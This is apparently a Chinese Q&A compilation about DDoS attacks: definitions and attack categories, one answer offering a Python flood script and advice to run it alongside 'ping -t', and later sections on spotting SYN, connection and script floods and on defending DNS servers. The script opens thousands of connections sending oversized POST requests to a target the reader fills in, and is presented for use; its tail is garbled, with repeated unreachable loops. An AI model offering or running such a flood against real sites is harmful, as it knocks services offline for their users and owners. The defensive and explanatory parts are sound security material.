4、谁会ddos。
分布式拒绝服务(DDoS:Distributed Denial of Service)攻击指借助于客户/服务器技术,将多个计算机联合起来作为攻击平台,对一个或多个目标发动DDoS攻击,从而成倍地提高拒绝服务攻击的威力。通常,攻击者使用一个偷窃帐号将DDoS主控程序安装在一个计算机上,在一个设定的时间主控程序将与大量 *** 程序通讯, *** 程序已经被安装在 *** 上的许多计算机上。 *** 程序收到指令时就发动攻击。利用客户/服务器技术,主控程序能在几秒钟内激活成百上千次 *** 程序的运行。
DdoS的攻击方式有很多种,最基本的DoS攻击就是利用合理的服务请求来占用过多的服务资源,从而使合法用户无法得到服务的响应。单一的DoS攻击一般是采用一对一方式的,当攻击目标CPU速度低、内存小或者 *** 带宽小等等各项指标不高的性能,它的效果是明显的。随着计算机与 *** 技术的发展,计算机的处理能力迅速增长,内存大大增加,同时也出现了千兆级别的 *** ,这使得DoS攻击的困难程度加大了-目标对恶意攻击包的"消化能力"加强了不少。这时候分布式的拒绝服务攻击手段(DDoS)就应运而生了。
攻击分两种,ddos或者CC。ddos也就是流量攻击,用超过你服务器本身支持的更大流量来攻击呢,导致服务器宕机。一般来说普通机房针对被ddos攻击的服务器,都是直接封被攻击的IP,这样能阻断流量,攻击停止解封。高防机房一般就是帮你硬扛,高防机房的流量都是几十上百G起步,你的攻击流量不一定有他高,只要超不过他的防御流量,那攻击就没有意义
ddos攻击主要有以下3种方式。
大流量攻击
大流量攻击通过海量流量使得 *** 的带宽和基础设施达到饱和,将其消耗殆尽,从而实现淹没 *** 的目的。一旦流量超过 *** 的容量,或 *** 与互联网其他部分的连接能力, *** 将无法访问。大流量攻击实例包括ICMP、碎片和UDP洪水。
TCP状态耗尽攻击
TCP状态耗尽攻击试图消耗许多基础设施组件(例如负载均衡器、防火墙和应用服务器本身)中存在的连接状态表。例如,防火墙必须分析每个数据包来确定数据包是离散连接,现有连接的存续,还是现有连接的完结。同样,入侵防御系统必须跟踪状态以实施基于签名的数据包检测和有状态的协议分析。这些设备和其他有状态的设备—包括负责均衡器—被会话洪水或连接攻击频繁攻陷。例如,Sockstress攻击可通过打开套接字来填充连接表以便快速淹没防火墙的状态表。
应用层攻击
应用层攻击使用更加尖端的机制来实现黑客的目标。应用层攻击并非使用流量或会话来淹没 *** ,它针对特定的应用/服务缓慢地耗尽应用层上的资源。应用层攻击在低流量速率下十分有效,从协议角度看,攻击中涉及的流量可能是合法的。这使得应用层攻击比其他类型的DDoS攻击更加难以检测。HTTP洪水、DNS词典、Slowloris等都是应用层攻击的实例。
我会。
DDoS用最简单来理解就是:我朝你扔苹果,扔好多,你接不住,苹果就撒了。DDoS也是这样,不断发出报文、包、连接请求,使对方服务器流量超载。如果会编程,用代码。不会的话,微软的PING可以代替一下。
DDoS的Py脚本如下:
import socket
import time
import threading
#Pressure Test,ddos tool
MAX_CONN=20000
PORT=80
HOST=""#在双引号里输入对方IP或域名,要保证他联网了或开机了.
PAGE="/index.php"
buf=("POST %s HTTP/1.1\r\n"
"Host: %s\r\n"
"Content-Length: 10000000\r\n"
"Cookie: dklkt_dos_test\r\n"
"\r\n" % (PAGE,HOST))
socks=[]
def ddos():
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
while 1:
s.connect((HOST,PORT))
s.send(buf.encode())
s.send(buf.encode())
s.send(buf.encode())
def conn_thread():
global socks
for i in range(0,MAX_CONN):
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
try:
s.connect((HOST,PORT))
s.send(buf.encode())
s.send(buf.encode())
s.send(buf.encode())
print ("Send buf OK!,conn=%d\n"%i)
socks.append(s)
except Exception as ex:
print ("Could not connect to server or send error:%s"%ex)
#end def
def send_thread():
global socks
while True:
for s in socks:
try:
s.send("f".encode())
#print "send OK!"
except Exception as ex:
print ("Send Exception:%s\n"%ex)
socks.remove(s)
s.close()
#end def
conn_th=threading.Thread(target=conn_thread,args=())
send_th=threading.Thread(target=send_thread,args=())
conn_th.start()
send_th.start()
ddos()
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
while 1:
s.connect((HOST,PORT))
s.send(buf.encode())
s.send(buf.encode())
s.send(buf.encode())
print ("Send buf OK!,conn=%d\n"%i)
while 1:
s.connect((HOST,PORT))
s.send(buf.encode())
s.send(buf.encode())
s.send(buf.encode())
print ("Send buf OK!,conn=%d\n"%i)
while 1:
s.connect((HOST,PORT))
s.send(buf.encode())
s.send(buf.encode())
s.send(buf.encode())
print ("Send buf OK!,conn=%d\n"%i)
while 1:
s.connect((HOST,PORT))
s.send(buf.encode())
s.send(buf.encode())
s.send(buf.encode())
print ("Send buf OK!,conn=%d\n"%i)
while 1:
s.connect((HOST,PORT))
s.send(buf.encode())
s.send(buf.encode())
s.send(buf.encode())
print ("Send buf OK!,conn=%d\n"%i)
while 1:
s.connect((HOST,PORT))
s.send(buf.encode())
s.send(buf.encode())
s.send(buf.encode())
print ("Send buf OK!,conn=%d\n"%i)
微软的PING命令版“DDoS”:
ping -t IP
(说实话,PING其实根本没效果哦,不过,DDoS脚本和PING一起用,效果比较大.)
望采纳!!!
服务器经常被ddos攻击可以采取以下几种 *** 防范或避免:
1.隐藏站源,减少网站的动态页面,尽可能的使用静态页面。
2.定期维护排查,做好相关漏洞扫描和修复工作,增加服务器在使用过程中的安全指数。
3.关掉多余的服务器和端口,让服务最小化,尽可能的减少被攻击的概率。
随着Internet互联 *** 带宽的增加和多种DDoS黑客工具的不断发布,DDoS拒绝服务攻击的实施越来越容易,DDoS攻击事件正在成上升趋势。出于商业竞争、打击报复和 *** 敲诈等多种因素,导致很多IDC托管机房、商业站点、游戏服务器、聊天 *** 等 *** 服务商长期以来一直被DDoS攻击所困扰,随之而来的是客户投诉、同虚拟主机用户受牵连、法律纠纷、商业损失等一系列问题,因此,解决DDoS攻击问题成为 *** 服务商必须考虑的头等大事。
DDoS是英文Distributed Denial of Service的缩写,意即分布式拒绝服务,那么什么又是拒绝服务(Denial of Service)呢?可以这么理解,凡是能导致合法用户不能够访问正常 *** 服务的行为都算是拒绝服务攻击。也就是说拒绝服务攻击的目的非常明确,就是要阻止合法用户对正常 *** 资源的访问,从而达成攻击者不可告人的目的。
虽然同样是拒绝服务攻击,但是DDoS和DOS还是有所不同,DDoS的攻击策略侧重于通过很多僵尸主机(被攻击者入侵过或可间接利用的主机) 向受害主机发送大量看似合法的 *** 包,从而造成 *** 阻塞或服务器资源耗尽而导致拒绝服务,分布式拒绝服务攻击一旦被实施,攻击 *** 包就会犹如洪水般涌向受害主机,从而把合法用户的 *** 包淹没,导致合法用户无法正常访问服务器的 *** 资源,因此,拒绝服务攻击又被称之为洪水式攻击。
常见的DDoS攻击手段有SYN Flood、ACK Flood、UDP Flood、ICMP Flood、TCP Flood、Connections Flood、Script Flood、Proxy Flood等;而DOS则侧重于通过对主机特定漏洞的利用攻击导致 *** 栈失效、系统崩溃、主机死机而无法提供正常的 *** 服务功能,从而造成拒绝服务,常见的DOS攻击手段有TearDrop、Land、Jolt、IGMP Nuker、Boink、Smurf、Bonk、OOB等。就这两种拒绝服务攻击而言,危害较大的主要是DDoS攻击,原因是很难防范,至于DOS攻击,通过给主机服务器打补丁或安装防火墙软件就可以很好地防范,后文会详细介绍怎么对付DDoS攻击。三、被DDoS了吗?
DDoS的表现形式主要有两种,一种为流量攻击,主要是针对 *** 带宽的攻击,即大量攻击包导致 *** 带宽被阻塞,合法 *** 包被虚假的攻击包淹没而无法到达主机;另一种为资源耗尽攻击,主要是针对服务器主机的攻击,即通过大量攻击包导致主机的内存被耗尽或CPU被内核及应用程序占完而造成无法提供 *** 服务。
当然,这样测试的前提是你到服务器主机之间的ICMP协议没有被路由器和防火墙等设备屏蔽,否则可采取Telnet主机服务器的 *** 服务端口来测试,效果是一样的。不过有一点可以肯定,假如平时Ping你的主机服务器和接在同一交换机上的主机服务器都是正常的,突然都Ping不通了或者是严重丢包,那么假如可以排除 *** 故障因素的话则肯定是遭受了流量攻击,再一个流量攻击的典型现象是,一旦遭受流量攻击,会发现用远程终端连接网站服务器会失败。
相对于流量攻击而言,资源耗尽攻击要容易判断一些,假如平时Ping网站主机和访问网站都是正常的,发现突然网站访问非常缓慢或无法访问了,而 Ping还可以Ping通,则很可能遭受了资源耗尽攻击,此时若在服务器上用Netstat -na命令观察到有大量的SYN_RECEIVED、TIME_WAIT、FIN_WAIT_1等状态存在,而ESTABLISHED很少,则可判定肯定是遭受了资源耗尽攻击。
还有一种属于资源耗尽攻击的现象是,Ping自己的网站主机Ping不通或者是丢包严重,而Ping与自己的主机在同一交换机上的服务器则正常,造成这种原因是网站主机遭受攻击后导致系统内核或某些应用程序CPU利用率达到100%无法回应Ping命令,其实带宽还是有的,否则就Ping不通接在同一交换机上的主机了。
当前主要有三种流行的DDoS攻击:
1、SYN/ACK Flood攻击:这种攻击 *** 是经典最有效的DDoS *** ,可通杀各种系统的 *** 服务,主要是通过向受害主机发送大量伪造源IP和源端口的SYN或ACK 包,导致主机的缓存资源被耗尽或忙于发送回应包而造成拒绝服务,由于源都是伪造的故追踪起来比较困难,缺点是实施起来有一定难度,需要高带宽的僵尸主机支持。
少量的这种攻击会导致主机服务器无法访问,但却可以Ping的通,在服务器上用Netstat -na命令会观察到存在大量的SYN_RECEIVED状态,大量的这种攻击会导致Ping失败、TCP/IP栈失效,并会出现系统凝固现象,即不响应键盘和鼠标。普通防火墙大多无法抵御此种攻击。
2、TCP全连接攻击:这种攻击是为了绕过常规防火墙的检查而设计的,一般情况下,常规防火墙大多具备过滤TearDrop、Land等DOS攻击的能力,但对于正常的TCP连接是放过的,殊不知很多 *** 服务程序(如:IIS、Apache等Web服务器)能接受的TCP连接数是有限的。
一旦有大量的TCP连接,即便是正常的,也会导致网站访问非常缓慢甚至无法访问,TCP全连接攻击就是通过许多僵尸主机不断地与受害服务器建立大量的TCP连接,直到服务器的内存等资源被耗尽而被拖跨,从而造成拒绝服务,这种攻击的特点是可绕过一般防火墙的防护而达到攻击目的,缺点是需要找很多僵尸主机,并且由于僵尸主机的IP是暴露的,因此容易被追踪。
3、刷Script脚本攻击:这种攻击主要是针对存在ASP、 *** P、PHP、CGI等脚本程序,并调用MSSQLServer、 MySQLServer、Oracle等数据库的网站系统而设计的,特征是和服务器建立正常的TCP连接,并不断的向脚本程序提交查询、列表等大量耗费数据库资源的调用,典型的以小博大的攻击 *** 。
一般来说,提交一个GET或POST指令对客户端的耗费和带宽的占用是几乎可以忽略的,而服务器为处理此请求却可能要从上万条记录中去查出某个记录,这种处理过程对资源的耗费是很大的,常见的数据库服务器很少能支持数百个查询指令同时执行,而这对于客户端来说却是轻而易举的,因此攻击者只需通过 Proxy *** 向主机服务器大量递交查询指令,只需数分钟就会把服务器资源消耗掉而导致拒绝服务。
常见的现象就是网站慢如蜗牛、ASP程序失效、PHP连接数据库失败、数据库主程序占用CPU偏高。这种攻击的特点是可以完全绕过普通的防火墙防护,轻松找一些Proxy *** 就可实施攻击,缺点是对付只有静态页面的网站效果会大打折扣,并且有些Proxy会暴露攻击者的IP地址。
DDoS攻击是指通过僵尸 *** 利用各种服务请求耗尽被攻击 *** 的系统资源,造成被攻击 *** 无法处理合法用户的请求。而针对DNS的DDoS攻击又可按攻击发起者和攻击特征进行分类:
1、按攻击发起者分类 僵尸 *** :控制大批僵尸 *** 利用真实DNS协议栈发起大量域名查询请求 模拟工具:利用工具软件伪造源IP发送海量DNS查询
2、按攻击特征分类 Flood攻击:发送海量DNS查询报文导致 *** 带宽耗尽而无法传送正常DNS 查询请求。
资源消耗攻击:发送大量非法域名查询报文引起DNS服务器持续进行迭代查询,从而达到较少的攻击流量消耗大量服务器资源的目的。
处理办法:
屏蔽未经请求发送的DNS响应信息
一个典型的DNS交换信息是由请求信息组成的。DNS解析器会将用户的请求信息发送至DNS服务器中,在DNS服务器对查询请求进行处理之后,服务器会将响应信息返回给DNS解析器。但值得注意的是,响应信息是不会主动发送的。
服务器在没有接收到查询请求之前,就已经生成了对应的响应信息,回应就被丢弃
丢弃快速重传数据包。
1.即便是在数据包丢失的情况下,任何合法的DNS客户端都不会在较短的时间间隔内向同一DNS服务器发送相同的DNS查询请求。
2.如果从相同IP地址发送至同一目标地址的相同查询请求发送频率过高,这些请求数据包可丢弃。
启用TTL
如果DNS服务器已经将响应信息成功发送了,应该禁止服务器在较短的时间间隔内对相同的查询请求信息进行响应。
1.对于一个合法的DNS客户端如果已经接收到了响应信息,就不会再次发送相同的查询请求。
2.每一个响应信息都应进行缓存处理直到TTL过期。
3.当DNS服务器遭遇大量查询请求时,可以屏蔽掉不需要的数据包。
丢弃未知来源的DNS查询请求和响应数据
通常情况下,攻击者会利用脚本来对目标进行分布式拒绝服务攻击(DDoS攻击),而且这些脚本通常是有漏洞的。因此,在服务器中部署简单的匿名检测机制,在某种程度上可以限制传入服务器的数据包数量。
丢弃未经请求或突发的DNS请求
这类请求信息很可能是由伪造的 *** 服务器所发送的,或是由于客户端配置错误或者是攻击流量。所以无论是哪一种情况,都应该直接丢弃这类数据包。
非泛洪攻击 (non-flood) 时段,创建一个白名单,添加允许服务器处理的合法请求信息。白名单可以屏蔽掉非法的查询请求信息以及此前从未见过的数据包。
这种 *** 能够有效地保护服务器不受泛洪攻击的威胁,也能保证合法的域名服务器只对合法的DNS查询请求进行处理和响应。
启动DNS客户端验证
伪造是DNS攻击中常用的一种技术。如果设备可以启动客户端验证信任状,便可以用于从伪造泛洪数据中筛选出非泛洪数据包。
对响应信息进行缓存处理
如果某一查询请求对应的响应信息已经存在于服务器的DNS缓存之中,缓存可以直接对请求进行处理。这样可以有效地防止服务器因过载而发生宕机。
很多请求中包含了服务器不具有或不支持的信息,我们可以进行简单的阻断设置,例如外部IP地址请求区域转换或碎片化数据包,直接将这类请求数据包丢弃。
利用ACL,BCP38,及IP信誉功能的使用
托管DNS服务器的任何企业都有用户轨迹的限制,当攻击数据包被伪造,伪造请求来自世界各地的源地址。设置一个简单的过滤器可阻断不需要的地理位置的IP地址请求或只允许在地理位置白名单内的IP请求。
还有一种情况,某些伪造的数据包可能来自与内部 *** 地址,可以利用BCP38通过硬件过滤也可以清除异常来源地址的请求。
BCP38对于提供DNS解析的服务提供商也相当有用,可以避免用户向外发送攻击或受到内部地址请求的攻击,过滤用户并保证其数据传输。
提供余量带宽
如果服务器日常需要处理的DNS通信量达到了X Gbps,请确保流量通道不止是日常的量,有一定的带宽余量可以有利于处理大规模攻击。
结语,目前针对DNS的攻击已成为最严重的 *** 威胁之一。目前越来越多的大型网站注重DNS保护这一块。为保障网站安全,保障网站利益,选择高防型的DNS为自己的域名进行解析已经迫在眉睫。
希望可以帮到您,谢谢!
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